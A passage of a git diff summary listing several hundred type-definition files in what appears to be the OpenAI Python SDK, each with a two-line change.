.../types/beta/threads/runs/code_interpreter_logs.py | 2 +-
.../beta/threads/runs/code_interpreter_output_image.py | 2 +-
.../beta/threads/runs/code_interpreter_tool_call.py | 2 +-
.../threads/runs/code_interpreter_tool_call_delta.py | 2 +-
.../types/beta/threads/runs/file_search_tool_call.py | 2 +-
.../beta/threads/runs/file_search_tool_call_delta.py | 2 +-
.../types/beta/threads/runs/function_tool_call.py | 2 +-
.../beta/threads/runs/function_tool_call_delta.py | 2 +-
.../beta/threads/runs/message_creation_step_details.py | 2 +-
src/openai/types/beta/threads/runs/run_step.py | 2 +-
src/openai/types/beta/threads/runs/run_step_delta.py | 2 +-
.../types/beta/threads/runs/run_step_delta_event.py | 2 +-
.../beta/threads/runs/run_step_delta_message_delta.py | 2 +-
src/openai/types/beta/threads/runs/run_step_include.py | 2 +-
src/openai/types/beta/threads/runs/step_list_params.py | 2 +-
.../types/beta/threads/runs/step_retrieve_params.py | 2 +-
src/openai/types/beta/threads/runs/tool_call.py | 2 +-
src/openai/types/beta/threads/runs/tool_call_delta.py | 2 +-
.../types/beta/threads/runs/tool_call_delta_object.py | 2 +-
.../types/beta/threads/runs/tool_calls_step_details.py | 2 +-
src/openai/types/beta/threads/text.py | 2 +-
src/openai/types/beta/threads/text_content_block.py | 2 +-
.../types/beta/threads/text_content_block_param.py | 2 +-
src/openai/types/beta/threads/text_delta.py | 2 +-
src/openai/types/beta/threads/text_delta_block.py | 2 +-
src/openai/types/chat/__init__.py | 2 +-
src/openai/types/chat/chat_completion.py | 2 +-
.../chat/chat_completion_allowed_tool_choice_param.py | 2 +-
.../types/chat/chat_completion_allowed_tools_param.py | 2 +-
.../chat/chat_completion_assistant_message_param.py | 2 +-
src/openai/types/chat/chat_completion_audio.py | 2 +-
src/openai/types/chat/chat_completion_audio_param.py | 2 +-
src/openai/types/chat/chat_completion_chunk.py | 2 +-
.../types/chat/chat_completion_content_part_image.py | 2 +-
.../chat/chat_completion_content_part_image_param.py | 2 +-
.../chat_completion_content_part_input_audio_param.py | 2 +-
.../types/chat/chat_completion_content_part_param.py | 2 +-
.../chat/chat_completion_content_part_refusal_param.py | 2 +-
.../types/chat/chat_completion_content_part_text.py | 2 +-
.../chat/chat_completion_content_part_text_param.py | 2 +-
.../types/chat/chat_completion_custom_tool_param.py | 2 +-
src/openai/types/chat/chat_completion_deleted.py | 2 +-
.../chat/chat_completion_developer_message_param.py | 2 +-
.../chat/chat_completion_function_call_option_param.py | 2 +-
.../chat/chat_completion_function_message_param.py | 2 +-
src/openai/types/chat/chat_completion_function_tool.py | 2 +-
.../types/chat/chat_completion_function_tool_param.py | 2 +-
src/openai/types/chat/chat_completion_message.py | 2 +-
.../chat/chat_completion_message_custom_tool_call.py | 2 +-
.../chat_completion_message_custom_tool_call_param.py | 2 +-
.../chat/chat_completion_message_function_tool_call.py | 2 +-
...chat_completion_message_function_tool_call_param.py | 2 +-
src/openai/types/chat/chat_completion_message_param.py | 2 +-
.../types/chat/chat_completion_message_tool_call.py | 2 +-
.../chat_completion_message_tool_call_union_param.py | 2 +-
src/openai/types/chat/chat_completion_modality.py | 2 +-
.../chat_completion_named_tool_choice_custom_param.py | 2 +-
.../chat/chat_completion_named_tool_choice_param.py | 2 +-
.../chat/chat_completion_prediction_content_param.py | 2 +-
.../types/chat/chat_completion_reasoning_effort.py | 2 +-
src/openai/types/chat/chat_completion_role.py | 2 +-
src/openai/types/chat/chat_completion_store_message.py | 2 +-
.../types/chat/chat_completion_stream_options_param.py | 2 +-
.../types/chat/chat_completion_system_message_param.py | 2 +-
src/openai/types/chat/chat_completion_token_logprob.py | 2 +-
.../chat/chat_completion_tool_choice_option_param.py | 2 +-
.../types/chat/chat_completion_tool_message_param.py | 2 +-
.../types/chat/chat_completion_tool_union_param.py | 2 +-
.../types/chat/chat_completion_user_message_param.py | 2 +-
src/openai/types/chat/completion_create_params.py | 2 +-
src/openai/types/chat/completion_list_params.py | 2 +-
src/openai/types/chat/completion_update_params.py | 2 +-
src/openai/types/chat/completions/__init__.py | 2 +-
.../types/chat/completions/message_list_params.py | 2 +-
src/openai/types/chat_model.py | 2 +-
src/openai/types/completion.py | 2 +-
src/openai/types/completion_choice.py | 2 +-
src/openai/types/completion_create_params.py | 2 +-
src/openai/types/completion_usage.py | 2 +-
src/openai/types/container_create_params.py | 2 +-
src/openai/types/container_create_response.py | 2 +-
src/openai/types/container_list_params.py | 2 +-
src/openai/types/container_list_response.py | 2 +-
src/openai/types/container_retrieve_response.py | 2 +-
src/openai/types/containers/__init__.py | 2 +-
src/openai/types/containers/file_create_params.py | 2 +-
src/openai/types/containers/file_create_response.py | 2 +-
src/openai/types/containers/file_list_params.py | 2 +-
src/openai/types/containers/file_list_response.py | 2 +-
src/openai/types/containers/file_retrieve_response.py | 2 +-
src/openai/types/containers/files/__init__.py | 2 +-
src/openai/types/content_provenance_check.py | 2 +-
.../types/content_provenance_check_create_params.py | 2 +-
src/openai/types/conversations/__init__.py | 2 +-
.../types/conversations/computer_screenshot_content.py | 2 +-
src/openai/types/conversations/conversation.py | 2 +-
.../types/conversations/conversation_create_params.py | 2 +-
.../conversations/conversation_deleted_resource.py | 2 +-
src/openai/types/conversations/conversation_item.py | 2 +-
.../types/conversations/conversation_item_list.py | 2 +-
.../types/conversations/conversation_update_params.py | 2 +-
src/openai/types/conversations/input_file_content.py | 2 +-
.../types/conversations/input_file_content_param.py | 2 +-
src/openai/types/conversations/input_image_content.py | 2 +-
.../types/conversations/input_image_content_param.py | 2 +-
src/openai/types/conversations/input_text_content.py | 2 +-
.../types/conversations/input_text_content_param.py | 2 +-
src/openai/types/conversations/item_create_params.py | 2 +-
src/openai/types/conversations/item_list_params.py | 2 +-
src/openai/types/conversations/item_retrieve_params.py | 2 +-
src/openai/types/conversations/message.py | 2 +-
src/openai/types/conversations/output_text_content.py | 2 +-
.../types/conversations/output_text_content_param.py | 2 +-
src/openai/types/conversations/refusal_content.py | 2 +-
.../types/conversations/refusal_content_param.py | 2 +-
src/openai/types/conversations/summary_text_content.py | 2 +-
src/openai/types/conversations/text_content.py | 2 +-
src/openai/types/create_embedding_response.py | 2 +-
src/openai/types/deleted_skill.py | 2 +-
src/openai/types/embedding.py | 2 +-
src/openai/types/embedding_create_params.py | 2 +-
src/openai/types/embedding_model.py | 2 +-
src/openai/types/eval_create_params.py | 2 +-
src/openai/types/eval_create_response.py | 2 +-
src/openai/types/eval_custom_data_source_config.py | 2 +-
src/openai/types/eval_delete_response.py | 2 +-
src/openai/types/eval_list_params.py | 2 +-
src/openai/types/eval_list_response.py | 2 +-
src/openai/types/eval_retrieve_response.py | 2 +-
.../eval_stored_completions_data_source_config.py | 2 +-
src/openai/types/eval_update_params.py | 2 +-
src/openai/types/eval_update_response.py | 2 +-
src/openai/types/evals/__init__.py | 2 +-
.../evals/create_eval_completions_run_data_source.py | 2 +-
.../create_eval_completions_run_data_source_param.py | 2 +-
.../types/evals/create_eval_jsonl_run_data_source.py | 2 +-
.../evals/create_eval_jsonl_run_data_source_param.py | 2 +-
src/openai/types/evals/eval_api_error.py | 2 +-
src/openai/types/evals/run_cancel_response.py | 2 +-
src/openai/types/evals/run_create_params.py | 2 +-
src/openai/types/evals/run_create_response.py | 2 +-
src/openai/types/evals/run_delete_response.py | 2 +-
src/openai/types/evals/run_list_params.py | 2 +-
src/openai/types/evals/run_list_response.py | 2 +-
src/openai/types/evals/run_retrieve_response.py | 2 +-
src/openai/types/evals/runs/__init__.py | 2 +-
src/openai/types/evals/runs/output_item_list_params.py | 2 +-
.../types/evals/runs/output_item_list_response.py | 2 +-
.../types/evals/runs/output_item_retrieve_response.py | 2 +-
src/openai/types/file_chunking_strategy.py | 2 +-
src/openai/types/file_chunking_strategy_param.py | 2 +-
src/openai/types/file_content.py | 2 +-
src/openai/types/file_create_params.py | 2 +-
src/openai/types/file_deleted.py | 2 +-
src/openai/types/file_list_params.py | 2 +-
src/openai/types/file_object.py | 2 +-
src/openai/types/file_purpose.py | 2 +-
src/openai/types/fine_tuning/__init__.py | 2 +-
src/openai/types/fine_tuning/alpha/__init__.py | 2 +-
.../types/fine_tuning/alpha/grader_run_params.py | 2 +-
.../types/fine_tuning/alpha/grader_run_response.py | 2 +-
.../types/fine_tuning/alpha/grader_validate_params.py | 2 +-
.../fine_tuning/alpha/grader_validate_response.py | 2 +-
src/openai/types/fine_tuning/checkpoints/__init__.py | 2 +-
.../checkpoints/permission_create_params.py | 2 +-
.../checkpoints/permission_create_response.py | 2 +-
.../checkpoints/permission_delete_response.py | 2 +-
.../fine_tuning/checkpoints/permission_list_params.py | 2 +-
.../checkpoints/permission_list_response.py | 2 +-
.../checkpoints/permission_retrieve_params.py | 2 +-
.../checkpoints/permission_retrieve_response.py | 2 +-
src/openai/types/fine_tuning/dpo_hyperparameters.py | 2 +-
.../types/fine_tuning/dpo_hyperparameters_param.py | 2 +-
src/openai/types/fine_tuning/dpo_method.py | 2 +-
src/openai/types/fine_tuning/dpo_method_param.py | 2 +-
src/openai/types/fine_tuning/fine_tuning_job.py | 2 +-
src/openai/types/fine_tuning/fine_tuning_job_event.py | 2 +-
.../types/fine_tuning/fine_tuning_job_integration.py | 2 +-
.../fine_tuning/fine_tuning_job_wandb_integration.py | 2 +-
.../fine_tuning_job_wandb_integration_object.py | 2 +-
src/openai/types/fine_tuning/job_create_params.py | 2 +-
src/openai/types/fine_tuning/job_list_events_params.py | 2 +-
src/openai/types/fine_tuning/job_list_params.py | 2 +-
src/openai/types/fine_tuning/jobs/__init__.py | 2 +-
.../types/fine_tuning/jobs/checkpoint_list_params.py | 2 +-
.../fine_tuning/jobs/fine_tuning_job_checkpoint.py | 2 +-
.../types/fine_tuning/reinforcement_hyperparameters.py | 2 +-
.../fine_tuning/reinforcement_hyperparameters_param.py | 2 +-
src/openai/types/fine_tuning/reinforcement_method.py | 2 +-
.../types/fine_tuning/reinforcement_method_param.py | 2 +-
.../types/fine_tuning/supervised_hyperparameters.py | 2 +-
.../fine_tuning/supervised_hyperparameters_param.py | 2 +-
src/openai/types/fine_tuning/supervised_method.py | 2 +-
.../types/fine_tuning/supervised_method_param.py | 2 +-
src/openai/types/graders/__init__.py | 2 +-
src/openai/types/graders/grader_inputs.py | 2 +-
src/openai/types/graders/grader_inputs_param.py | 2 +-
src/openai/types/graders/label_model_grader.py | 2 +-
src/openai/types/graders/label_model_grader_param.py | 2 +-
src/openai/types/graders/multi_grader.py | 2 +-
src/openai/types/graders/multi_grader_param.py | 2 +-
src/openai/types/graders/python_grader.py | 2 +-
src/openai/types/graders/python_grader_param.py | 2 +-
src/openai/types/graders/score_model_grader.py | 2 +-
src/openai/types/graders/score_model_grader_param.py | 2 +-
src/openai/types/graders/string_check_grader.py | 2 +-
src/openai/types/graders/string_check_grader_param.py | 2 +-
src/openai/types/graders/text_similarity_grader.py | 2 +-
.../types/graders/text_similarity_grader_param.py | 2 +-
src/openai/types/image.py | 2 +-
src/openai/types/image_create_variation_params.py | 2 +-
src/openai/types/image_edit_completed_event.py | 2 +-
src/openai/types/image_edit_params.py | 2 +-
src/openai/types/image_edit_partial_image_event.py | 2 +-
src/openai/types/image_edit_stream_event.py | 2 +-
src/openai/types/image_gen_completed_event.py | 2 +-
src/openai/types/image_gen_partial_image_event.py | 2 +-
src/openai/types/image_gen_stream_event.py | 2 +-
src/openai/types/image_generate_params.py | 2 +-
src/openai/types/image_input_reference_param.py | 2 +-
src/openai/types/image_model.py | 2 +-
src/openai/types/images_response.py | 2 +-
src/openai/types/model.py | 2 +-
src/openai/types/model_deleted.py | 2 +-
src/openai/types/moderation.py | 2 +-
src/openai/types/moderation_create_params.py | 2 +-
src/openai/types/moderation_create_response.py | 2 +-
src/openai/types/moderation_image_url_input_param.py | 2 +-
src/openai/types/moderation_model.py | 2 +-
src/openai/types/moderation_multi_modal_input_param.py | 2 +-
src/openai/types/moderation_text_input_param.py | 2 +-
.../types/other_file_chunking_strategy_object.py | 2 +-
src/openai/types/realtime/__init__.py | 2 +-
src/openai/types/realtime/audio_transcription.py | 2 +-
src/openai/types/realtime/audio_transcription_param.py | 2 +-
src/openai/types/realtime/call_accept_params.py | 2 +-
src/openai/types/realtime/call_create_params.py | 2 +-
src/openai/types/realtime/call_refer_params.py | 2 +-
src/openai/types/realtime/call_reject_params.py | 2 +-
.../types/realtime/client_secret_create_params.py | 2 +-
.../types/realtime/client_secret_create_response.py | 2 +-
.../types/realtime/conversation_created_event.py | 2 +-
src/openai/types/realtime/conversation_item.py | 2 +-
src/openai/types/realtime/conversation_item_added.py | 2 +-
.../types/realtime/conversation_item_create_event.py | 2 +-
.../realtime/conversation_item_create_event_param.py | 2 +-
.../types/realtime/conversation_item_created_event.py | 2 +-
.../types/realtime/conversation_item_delete_event.py | 2 +-
.../realtime/conversation_item_delete_event_param.py | 2 +-
.../types/realtime/conversation_item_deleted_event.py | 2 +-
src/openai/types/realtime/conversation_item_done.py | 2 +-
...n_item_input_audio_transcription_completed_event.py | 2 +-
...ation_item_input_audio_transcription_delta_event.py | 2 +-
...tion_item_input_audio_transcription_failed_event.py | 2 +-
...versation_item_input_audio_transcription_segment.py | 2 +-
src/openai/types/realtime/conversation_item_param.py | 2 +-
.../types/realtime/conversation_item_retrieve_event.py | 2 +-
.../realtime/conversation_item_retrieve_event_param.py | 2 +-
.../types/realtime/conversation_item_truncate_event.py | 2 +-
.../realtime/conversation_item_truncate_event_param.py | 2 +-
.../realtime/conversation_item_truncated_event.py | 2 +-
.../types/realtime/input_audio_buffer_append_event.py | 2 +-
.../realtime/input_audio_buffer_append_event_param.py | 2 +-
.../types/realtime/input_audio_buffer_clear_event.py | 2 +-
.../realtime/input_audio_buffer_clear_event_param.py | 2 +-
.../types/realtime/input_audio_buffer_cleared_event.py | 2 +-
.../types/realtime/input_audio_buffer_commit_event.py | 2 +-
.../realtime/input_audio_buffer_commit_event_param.py | 2 +-
.../realtime/input_audio_buffer_committed_event.py | 2 +-
.../input_audio_buffer_dtmf_event_received_event.py | 2 +-
.../input_audio_buffer_speech_started_event.py | 2 +-
.../input_audio_buffer_speech_stopped_event.py | 2 +-
.../realtime/input_audio_buffer_timeout_triggered.py | 2 +-
src/openai/types/realtime/log_prob_properties.py | 2 +-
src/openai/types/realtime/mcp_list_tools_completed.py | 2 +-
src/openai/types/realtime/mcp_list_tools_failed.py | 2 +-
.../types/realtime/mcp_list_tools_in_progress.py | 2 +-
src/openai/types/realtime/noise_reduction_type.py | 2 +-
.../types/realtime/output_audio_buffer_clear_event.py | 2 +-
.../realtime/output_audio_buffer_clear_event_param.py | 2 +-
src/openai/types/realtime/rate_limits_updated_event.py | 2 +-
src/openai/types/realtime/realtime_audio_config.py | 2 +-
.../types/realtime/realtime_audio_config_input.py | 2 +-
.../realtime/realtime_audio_config_input_param.py | 2 +-
.../types/realtime/realtime_audio_config_output.py | 2 +-
.../realtime/realtime_audio_config_output_param.py | 2 +-
.../types/realtime/realtime_audio_config_param.py | 2 +-
src/openai/types/realtime/realtime_audio_formats.py | 2 +-
.../types/realtime/realtime_audio_formats_param.py | 2 +-
.../realtime/realtime_audio_input_turn_detection.py | 2 +-
.../realtime_audio_input_turn_detection_param.py | 2 +-
src/openai/types/realtime/realtime_client_event.py | 2 +-
.../types/realtime/realtime_client_event_param.py | 2 +-
src/openai/types/realtime/realtime_connect_params.py | 2 +-
.../realtime_conversation_item_assistant_message.py | 2 +-
...altime_conversation_item_assistant_message_param.py | 2 +-
.../realtime_conversation_item_function_call.py | 2 +-
.../realtime_conversation_item_function_call_output.py | 2 +-
...ime_conversation_item_function_call_output_param.py | 2 +-
.../realtime_conversation_item_function_call_param.py | 2 +-
.../realtime_conversation_item_system_message.py | 2 +-
.../realtime_conversation_item_system_message_param.py | 2 +-
.../realtime_conversation_item_user_message.py | 2 +-
.../realtime_conversation_item_user_message_param.py | 2 +-
src/openai/types/realtime/realtime_error.py | 2 +-
src/openai/types/realtime/realtime_error_event.py | 2 +-
src/openai/types/realtime/realtime_function_tool.py | 2 +-
.../types/realtime/realtime_function_tool_param.py | 2 +-
.../types/realtime/realtime_mcp_approval_request.py | 2 +-
.../realtime/realtime_mcp_approval_request_param.py | 2 +-
.../types/realtime/realtime_mcp_approval_response.py | 2 +-
.../realtime/realtime_mcp_approval_response_param.py | 2 +-
src/openai/types/realtime/realtime_mcp_list_tools.py | 2 +-
.../types/realtime/realtime_mcp_list_tools_param.py | 2 +-
.../types/realtime/realtime_mcp_protocol_error.py | 2 +-
.../realtime/realtime_mcp_protocol_error_param.py | 2 +-
src/openai/types/realtime/realtime_mcp_tool_call.py | 2 +-
.../types/realtime/realtime_mcp_tool_call_param.py | 2 +-
.../realtime/realtime_mcp_tool_execution_error.py | 2 +-
.../realtime_mcp_tool_execution_error_param.py | 2 +-
src/openai/types/realtime/realtime_mcphttp_error.py | 2 +-
.../types/realtime/realtime_mcphttp_error_param.py | 2 +-
src/openai/types/realtime/realtime_reasoning.py | 2 +-
src/openai/types/realtime/realtime_reasoning_effort.py | 2 +-
src/openai/types/realtime/realtime_reasoning_param.py | 2 +-
src/openai/types/realtime/realtime_response.py | 2 +-
.../realtime/realtime_response_create_audio_output.py | 2 +-
.../realtime_response_create_audio_output_param.py | 2 +-
.../realtime/realtime_response_create_mcp_tool.py | 2 +-
.../realtime_response_create_mcp_tool_param.py | 2 +-
.../types/realtime/realtime_response_create_params.py | 2 +-
.../realtime/realtime_response_create_params_param.py | 2 +-
src/openai/types/realtime/realtime_response_status.py | 2 +-
src/openai/types/realtime/realtime_response_usage.py | 2 +-
.../realtime_response_usage_input_token_details.py | 2 +-
.../realtime_response_usage_output_token_details.py | 2 +-
src/openai/types/realtime/realtime_server_event.py | 2 +-
.../types/realtime/realtime_session_create_request.py | 2 +-
.../realtime/realtime_session_create_request_param.py | 2 +-
.../types/realtime/realtime_session_create_response.py | 2 +-
.../types/realtime/realtime_tool_choice_config.py | 2 +-
.../realtime/realtime_tool_choice_config_param.py | 2 +-
src/openai/types/realtime/realtime_tools_config.py | 2 +-
.../types/realtime/realtime_tools_config_param.py | 2 +-
.../types/realtime/realtime_tools_config_union.py | 2 +-
.../realtime/realtime_tools_config_union_param.py | 2 +-
src/openai/types/realtime/realtime_tracing_config.py | 2 +-
.../types/realtime/realtime_tracing_config_param.py | 2 +-
.../realtime/realtime_transcription_session_audio.py | 2 +-
.../realtime_transcription_session_audio_input.py | 2 +-
...realtime_transcription_session_audio_input_param.py | 2 +-
...transcription_session_audio_input_turn_detection.py | 2 +-
...ription_session_audio_input_turn_detection_param.py | 2 +-
.../realtime_transcription_session_audio_param.py | 2 +-
.../realtime_transcription_session_create_request.py | 2 +-
...ltime_transcription_session_create_request_param.py | 2 +-
.../realtime_transcription_session_create_response.py | 2 +-
.../realtime_transcription_session_turn_detection.py | 2 +-
src/openai/types/realtime/realtime_truncation.py | 2 +-
src/openai/types/realtime/realtime_truncation_param.py | 2 +-
.../realtime/realtime_truncation_retention_ratio.py | 2 +-
.../realtime_truncation_retention_ratio_param.py | 2 +-
.../types/realtime/response_audio_delta_event.py | 2 +-
src/openai/types/realtime/response_audio_done_event.py | 2 +-
.../realtime/response_audio_transcript_delta_event.py | 2 +-
.../realtime/response_audio_transcript_done_event.py | 2 +-
src/openai/types/realtime/response_cancel_event.py | 2 +-
.../types/realtime/response_cancel_event_param.py | 2 +-
.../realtime/response_content_part_added_event.py | 2 +-
.../types/realtime/response_content_part_done_event.py | 2 +-
src/openai/types/realtime/response_create_event.py | 2 +-
.../types/realtime/response_create_event_param.py | 2 +-
src/openai/types/realtime/response_created_event.py | 2 +-
src/openai/types/realtime/response_done_event.py | 2 +-
.../response_function_call_arguments_delta_event.py | 2 +-
.../response_function_call_arguments_done_event.py | 2 +-
.../realtime/response_mcp_call_arguments_delta.py | 2 +-
.../types/realtime/response_mcp_call_arguments_done.py | 2 +-
.../types/realtime/response_mcp_call_completed.py | 2 +-
src/openai/types/realtime/response_mcp_call_failed.py | 2 +-
.../types/realtime/response_mcp_call_in_progress.py | 2 +-
.../types/realtime/response_output_item_added_event.py | 2 +-
.../types/realtime/response_output_item_done_event.py | 2 +-
src/openai/types/realtime/response_text_delta_event.py | 2 +-
src/openai/types/realtime/response_text_done_event.py | 2 +-
src/openai/types/realtime/session_created_event.py | 2 +-
src/openai/types/realtime/session_update_event.py | 2 +-
.../types/realtime/session_update_event_param.py | 2 +-
src/openai/types/realtime/session_updated_event.py | 2 +-
src/openai/types/responses/__init__.py | 2 +-
src/openai/types/responses/apply_patch_tool.py | 2 +-
src/openai/types/responses/apply_patch_tool_param.py | 2 +-
src/openai/types/responses/compacted_response.py | 2 +-
src/openai/types/responses/computer_action.py | 2 +-
src/openai/types/responses/computer_action_list.py | 2 +-
.../types/responses/computer_action_list_param.py | 2 +-
src/openai/types/responses/computer_action_param.py | 2 +-
src/openai/types/responses/computer_tool.py | 2 +-
src/openai/types/responses/computer_tool_param.py | 2 +-
.../types/responses/computer_use_preview_tool.py | 2 +-
.../types/responses/computer_use_preview_tool_param.py | 2 +-
src/openai/types/responses/container_auto.py | 2 +-
src/openai/types/responses/container_auto_param.py | 2 +-
.../responses/container_network_policy_allowlist.py | 2 +-
.../container_network_policy_allowlist_param.py | 2 +-
.../responses/container_network_policy_disabled.py | 2 +-
.../container_network_policy_disabled_param.py | 2 +-
.../container_network_policy_domain_secret.py | 2 +-
.../container_network_policy_domain_secret_param.py | 2 +-
src/openai/types/responses/container_reference.py | 2 +-
.../types/responses/container_reference_param.py | 2 +-
src/openai/types/responses/custom_tool.py | 2 +-
src/openai/types/responses/custom_tool_param.py | 2 +-
src/openai/types/responses/easy_input_message.py | 2 +-
src/openai/types/responses/easy_input_message_param.py | 2 +-
src/openai/types/responses/file_search_tool.py | 2 +-
src/openai/types/responses/file_search_tool_param.py | 2 +-
src/openai/types/responses/function_shell_tool.py | 2 +-
.../types/responses/function_shell_tool_param.py | 2 +-
src/openai/types/responses/function_tool.py | 2 +-
src/openai/types/responses/function_tool_param.py | 2 +-
src/openai/types/responses/inline_skill.py | 2 +-
src/openai/types/responses/inline_skill_param.py | 2 +-
src/openai/types/responses/inline_skill_source.py | 2 +-
.../types/responses/inline_skill_source_param.py | 2 +-
src/openai/types/responses/input_item_list_params.py | 2 +-
src/openai/types/responses/input_token_count_params.py | 2 +-
.../types/responses/input_token_count_response.py | 2 +-
src/openai/types/responses/local_environment.py | 2 +-
src/openai/types/responses/local_environment_param.py | 2 +-
src/openai/types/responses/local_skill.py | 2 +-
src/openai/types/responses/local_skill_param.py | 2 +-
src/openai/types/responses/namespace_tool.py | 2 +-
src/openai/types/responses/namespace_tool_param.py | 2 +-
src/openai/types/responses/response.py | 2 +-
.../types/responses/response_apply_patch_tool_call.py | 2 +-
.../responses/response_apply_patch_tool_call_output.py | 2 +-
.../types/responses/response_audio_delta_event.py | 2 +-
.../types/responses/response_audio_done_event.py | 2 +-
.../responses/response_audio_transcript_delta_event.py | 2 +-
.../responses/response_audio_transcript_done_event.py | 2 +-
.../response_code_interpreter_call_code_delta_event.py | 2 +-
.../response_code_interpreter_call_code_done_event.py | 2 +-
.../response_code_interpreter_call_completed_event.py | 2 +-
...response_code_interpreter_call_in_progress_event.py | 2 +-
...esponse_code_interpreter_call_interpreting_event.py | 2 +-
.../responses/response_code_interpreter_tool_call.py | 2 +-
.../response_code_interpreter_tool_call_param.py | 2 +-
src/openai/types/responses/response_compact_params.py | 2 +-
src/openai/types/responses/response_compaction_item.py | 2 +-
.../types/responses/response_compaction_item_param.py | 2 +-
.../responses/response_compaction_item_param_param.py | 2 +-
src/openai/types/responses/response_completed_event.py | 2 +-
.../types/responses/response_computer_tool_call.py | 2 +-
.../response_computer_tool_call_output_item.py | 2 +-
.../response_computer_tool_call_output_screenshot.py | 2 +-
...ponse_computer_tool_call_output_screenshot_param.py | 2 +-
.../responses/response_computer_tool_call_param.py | 2 +-
.../types/responses/response_container_reference.py | 2 +-
.../responses/response_content_part_added_event.py | 2 +-
.../responses/response_content_part_done_event.py | 2 +-
.../types/responses/response_conversation_param.py | 2 +-
.../responses/response_conversation_param_param.py | 2 +-
src/openai/types/responses/response_create_params.py | 2 +-
src/openai/types/responses/response_created_event.py | 2 +-
.../types/responses/response_custom_tool_call.py | 2 +-
.../response_custom_tool_call_input_delta_event.py | 2 +-
.../response_custom_tool_call_input_done_event.py | 2 +-
.../types/responses/response_custom_tool_call_item.py | 2 +-
.../responses/response_custom_tool_call_output.py | 2 +-
.../responses/response_custom_tool_call_output_item.py | 2 +-
.../response_custom_tool_call_output_param.py | 2 +-
.../types/responses/response_custom_tool_call_param.py | 2 +-
src/openai/types/responses/response_error.py | 2 +-
src/openai/types/responses/response_error_event.py | 2 +-
src/openai/types/responses/response_failed_event.py | 2 +-
.../response_file_search_call_completed_event.py | 2 +-
.../response_file_search_call_in_progress_event.py | 2 +-
.../response_file_search_call_searching_event.py | 2 +-
.../types/responses/response_file_search_tool_call.py | 2 +-
.../responses/response_file_search_tool_call_param.py | 2 +-
.../types/responses/response_format_text_config.py | 2 +-
.../responses/response_format_text_config_param.py | 2 +-
.../response_format_text_json_schema_config.py | 2 +-
.../response_format_text_json_schema_config_param.py | 2 +-
.../response_function_call_arguments_delta_event.py | 2 +-
.../response_function_call_arguments_done_event.py | 2 +-
.../responses/response_function_call_output_item.py | 2 +-
.../response_function_call_output_item_list.py | 2 +-
.../response_function_call_output_item_list_param.py | 2 +-
.../response_function_call_output_item_param.py | 2 +-
.../response_function_shell_call_output_content.py | 2 +-
...esponse_function_shell_call_output_content_param.py | 2 +-
.../responses/response_function_shell_tool_call.py | 2 +-
.../response_function_shell_tool_call_output.py | 2 +-
.../types/responses/response_function_tool_call.py | 2 +-
.../responses/response_function_tool_call_item.py | 2 +-
.../response_function_tool_call_output_item.py | 2 +-
.../responses/response_function_tool_call_param.py | 2 +-
.../types/responses/response_function_web_search.py | 2 +-
.../responses/response_function_web_search_param.py | 2 +-
.../response_image_gen_call_completed_event.py | 2 +-
.../response_image_gen_call_generating_event.py | 2 +-
.../response_image_gen_call_in_progress_event.py | 2 +-
.../response_image_gen_call_partial_image_event.py | 2 +-
.../types/responses/response_in_progress_event.py | 2 +-
src/openai/types/responses/response_includable.py | 2 +-
.../types/responses/response_incomplete_event.py | 2 +-
src/openai/types/responses/response_input.py | 2 +-
src/openai/types/responses/response_input_audio.py | 2 +-
.../types/responses/response_input_audio_param.py | 2 +-
src/openai/types/responses/response_input_content.py | 2 +-
.../types/responses/response_input_content_param.py | 2 +-
src/openai/types/responses/response_input_file.py | 2 +-
.../types/responses/response_input_file_content.py | 2 +-
.../responses/response_input_file_content_param.py | 2 +-
.../types/responses/response_input_file_param.py | 2 +-
src/openai/types/responses/response_input_image.py | 2 +-
.../types/responses/response_input_image_content.py | 2 +-
.../responses/response_input_image_content_param.py | 2 +-
.../types/responses/response_input_image_param.py | 2 +-
src/openai/types/responses/response_input_item.py | 2 +-
.../types/responses/response_input_item_param.py | 2 +-
.../responses/response_input_message_content_list.py | 2 +-
.../response_input_message_content_list_param.py | 2 +-
.../types/responses/response_input_message_item.py | 2 +-
src/openai/types/responses/response_input_param.py | 2 +-
src/openai/types/responses/response_input_text.py | 2 +-
.../types/responses/response_input_text_content.py | 2 +-
.../responses/response_input_text_content_param.py | 2 +-
.../types/responses/response_input_text_param.py | 2 +-
src/openai/types/responses/response_item.py | 2 +-
src/openai/types/responses/response_item_list.py | 2 +-
.../types/responses/response_local_environment.py | 2 +-
.../response_mcp_call_arguments_delta_event.py | 2 +-
.../response_mcp_call_arguments_done_event.py | 2 +-
.../responses/response_mcp_call_completed_event.py | 2 +-
.../types/responses/response_mcp_call_failed_event.py | 2 +-
.../responses/response_mcp_call_in_progress_event.py | 2 +-
.../response_mcp_list_tools_completed_event.py | 2 +-
.../responses/response_mcp_list_tools_failed_event.py | 2 +-
.../response_mcp_list_tools_in_progress_event.py | 2 +-
src/openai/types/responses/response_output_item.py | 2 +-
.../responses/response_output_item_added_event.py | 2 +-
.../types/responses/response_output_item_done_event.py | 2 +-
src/openai/types/responses/response_output_message.py | 2 +-
.../types/responses/response_output_message_param.py | 2 +-
src/openai/types/responses/response_output_refusal.py | 2 +-
.../types/responses/response_output_refusal_param.py | 2 +-
src/openai/types/responses/response_output_text.py | 2 +-
.../response_output_text_annotation_added_event.py | 2 +-
.../types/responses/response_output_text_param.py | 2 +-
src/openai/types/responses/response_prompt.py | 2 +-
src/openai/types/responses/response_prompt_param.py | 2 +-
src/openai/types/responses/response_queued_event.py | 2 +-
src/openai/types/responses/response_reasoning_item.py | 2 +-
.../types/responses/response_reasoning_item_param.py | 2 +-
.../response_reasoning_summary_part_added_event.py | 2 +-
.../response_reasoning_summary_part_done_event.py | 2 +-
.../response_reasoning_summary_text_delta_event.py | 2 +-
.../response_reasoning_summary_text_done_event.py | 2 +-
.../responses/response_reasoning_text_delta_event.py | 2 +-
.../responses/response_reasoning_text_done_event.py | 2 +-
.../types/responses/response_refusal_delta_event.py | 2 +-
.../types/responses/response_refusal_done_event.py | 2 +-
src/openai/types/responses/response_retrieve_params.py | 2 +-
src/openai/types/responses/response_status.py | 2 +-
src/openai/types/responses/response_stream_event.py | 2 +-
src/openai/types/responses/response_text_config.py | 2 +-
.../types/responses/response_text_config_param.py | 2 +-
.../types/responses/response_text_delta_event.py | 2 +-
src/openai/types/responses/response_text_done_event.py | 2 +-
.../types/responses/response_tool_search_call.py | 2 +-
.../responses/response_tool_search_output_item.py | 2 +-
.../response_tool_search_output_item_param.py | 2 +-
.../response_tool_search_output_item_param_param.py | 2 +-
src/openai/types/responses/response_usage.py | 2 +-
.../response_web_search_call_completed_event.py | 2 +-
